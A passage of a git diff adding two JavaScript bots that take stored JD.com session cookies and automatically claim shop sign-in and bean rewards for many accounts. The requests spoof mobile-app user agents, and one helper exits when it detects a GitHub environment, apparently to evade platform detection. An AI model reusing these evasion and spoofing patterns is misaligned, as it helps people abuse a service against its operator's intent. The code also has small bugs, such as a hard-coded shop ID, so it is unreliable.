\u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_shop.js b/jd_shop.js new file mode 100644 index 0000000..a5966c4 --- /dev/null +++ b/jd_shop.js @@ -0,0 +1,219 @@ +/* +进店领豆,每天可拿四京豆 +活动入口:京东APP首页-领京豆-进店领豆 +更新时间:2020-11-03 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#进店领豆 +10 0 * * * jd_shop.js, tag=进店领豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_shop.png, enabled=true +================Loon============ +[Script] +cron "10 0 * * *" script-path=jd_shop.js,tag=进店领豆 +==============Surge=============== +[Script] +进店领豆 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_shop.js +*/ +const $ = new Env('进店领豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = ''; + +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jdShop(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdShop() { + const taskData = await getTask(); + if (taskData.code === '0') { + if (!taskData.data.taskList) { + console.log(`${taskData.data.taskErrorTips}\n`); + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n${taskData.data.taskErrorTips}`); + } else { + const { taskList } = taskData.data; + let beanCount = 0; + for (let item of taskList) { + if (item.taskStatus === 3) { + console.log(`${item.shopName} 已拿到2京豆\n`) + } else { + console.log(`taskId::${item.taskId}`) + const doTaskRes = await doTask(item.taskId); + if (doTaskRes.code === '0') { + beanCount += 2; + } + } + } + console.log(`beanCount::${beanCount}`); + if (beanCount > 0) { + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n成功领取${beanCount}京豆`); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + // if ($.isNode()) { + // await notify.BarkNotify(`${$.name}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + } + } + } +} +function doTask(taskId) { + console.log(`doTask-taskId::${taskId}`) + return new Promise(resolve => { + const body = { 'taskId': `${taskId}` }; + const options = { + url: `${JD_API_HOST}`, + body: `functionId=takeTask&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getTask(body = {}) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}`, + body: `functionId=queryTaskIndex&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_shop_sign.js b/jd_shop_sign.js new file mode 100644 index 0000000..4e61094 --- /dev/null +++ b/jd_shop_sign.js @@ -0,0 +1,358 @@ +/* +店铺签到,各类店铺签到,有新的店铺直接添加token即可 +============Quantumultx=============== +[task_local] +#店铺签到 +0 0 * * * jd_shop_sign.js +*/ +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' +const token = [ + // "2A8794EC8DA4659DDDA0DF0E1A2AF4AF", + // "A1E0F96C1D9DB38AE87202E13CE1FD1F", + // "6D180D5A0B6F4A210684757B0DAC6A38", + // "6FF6A61279897029F4DE69C341551CFC", + // "0FCE1975D7A168F5BE2DE89BF2AA784D", + // "9E2F2B62044E1AC059180A38BE06507D", + // "C96A69334CA12BCA81DE74335AC1B35E", + // "A406C4990D5C50702D8C425A03F8076E", + // "E0AB41AAE21BD9CA8E35CC0B9AA92FA7", + // "A20223553DF12E06C7644A1BD67314B6", + // "9621D787095D0030BE681B535F8499BE", + // "C718DA981DBB8CF73FAC7D5480733B43", + // "77A6C7B5C2BC9175521931ADE8E3B2E0", + // "5BEFC891C256D515C4F0F94F15989055", + // "B1482DB6CB72FBF33FFC90B2AB53D32C", + // "225A5186B854F5D0A36B5257BAA98739", + // "9115177F9D949CFB76D0DE6B8FC9D621", + // "AD73E1D98C83593E22802600D5F72B9B", + // "447EA174AB8181DD52EFDECEB4E59F16", + // "32204A01054F3D8F9A1DF5E5CFB4E7F4", + // "6B52B6FDF119B68A42349EEF6CEEC4FF" +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return 